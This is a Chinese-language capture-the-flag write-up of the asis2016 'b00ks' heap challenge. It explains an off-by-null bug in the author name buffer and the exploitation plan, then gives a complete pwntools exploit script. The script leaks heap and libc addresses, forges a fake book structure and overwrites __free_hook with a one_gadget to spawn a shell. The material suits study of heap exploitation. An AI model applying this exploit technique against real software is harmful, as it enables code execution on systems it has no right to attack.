【off by null】asis2016_b00ks
1. ida分析
-
在设置author name的时候存在off by null,输入32个字符后,会在后面添加
\x00
,author name 紧接着 booklist,当author name输入32字符后,创建一个book会覆盖\x00
,此时print book会泄露book[0]
的地址。
2. 思路
-
设置author name的长度为32(最后的
\x00
会被后创建的book[0]
覆盖) -
创建两个book,第二个book足够大(泄露libc的基址)
-
print book,泄露book[0]的地址
-
再次修改author name的长度仍然为32(将
book[0]
的最后一个字节覆盖为\x00
),此时可以在book[0]
的describe中构建一个fake book -
fake book的describe指向
book[1]
的describe指针 -
再次print book,此时
book[0]
的describe能够泄露libc的基址 -
修改
book[0]
的describe为__free_hook
的地址,即book[1]
的describe指针指向__free_hook
-
修改
book[1]
的describe为onegadget
-
delete book[2],触发onegadget
3. exp
from pwn import *
p = process('./b00ks')
#p = remote('node3.buuoj.cn',26066)
libc = ELF('./libc-2.27 .buu.so')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'debug'
def create_name(author):
p.recvuntil('name: ')
p.sendline(author)
def create_book(name_size,name,des_size,des):
p.recvuntil("> ")
p.sendline('1')
p.sendafter('name size: ',str(name_size)+'\n')
p.sendafter('s): ',name+'\n')
p.sendafter('on size: ',str(des_size)+'\n')
p.sendafter('on: ',des+'\n')
def print_book(id):
p.recvuntil('> ')
p.sendline('4')
for i in range(int(id)):
p.recvuntil(':')
book_id = p.recvline()[:-1]
p.recvuntil(': ')
book_name = p.recvline()[:-1]
p.recvuntil(': ')
book_des = p.recvline()[:-1]
p.recvuntil(': ')
book_author = p.recvline()[:-1]
return book_id,book_name,book_des,book_author
def change_name(author):
p.recvline('> ')
p.sendline('5')
p.sendafter(': ',author+'\n')
def edit_book(book_id,content):
p.recvline('> ')
p.sendline('3')
p.sendafter('edit: ',str(book_id)+'\n')
p.sendafter('ion: ',content+'\n')
def delete_book(book_id):
p.recvuntil("> ")
p.sendline("2")
p.recvuntil(": ")
p.sendline(str(book_id))
create_name('A'*32)
#gdb.attach(p)
#pause()
create_book(0x20,'AAAA',140,'B')
create_book(0x20,'CCCC',0x21000,'DDDD')
#gdb.attach(p)
#pause()
book_id,book_name,book_des,book_author = print_book(1)
book_addr = u64(book_author[32:32+6].ljust(8,'\x00'))
log.success('book_addr = '+hex(book_addr))
payload = 'b'*0x60 + p64(1) + p64(book_addr+0x68) + p64(book_addr + 0x70) + p64(0xffff)
#gdb.attach(p)
#pause()
edit_book(1,payload)
change_name('A'*32)
p.recv()
p.sendline('4')
#book_id,book_name,book_des,book_author = print_book(1)
p.recvuntil('Description: ')
book2_des_addr = u64(p.recv(6).ljust(8,'\x00'))
log.success('book2_des_addr==>'+hex(book2_des_addr))
libc_base = book2_des_addr - 0x5e0010
log.success('libc_base==>'+hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
one = libc_base + 0x4f432 #0x4f322
log.success('free_hook==>'+hex(free_hook))
log.success('one==>'+hex(one))
gdb.attach(p)
pause()
edit_book(1,p64(free_hook))
edit_book(2,p64(one))
gdb.attach(p)
delete_book(2)
p.interactive()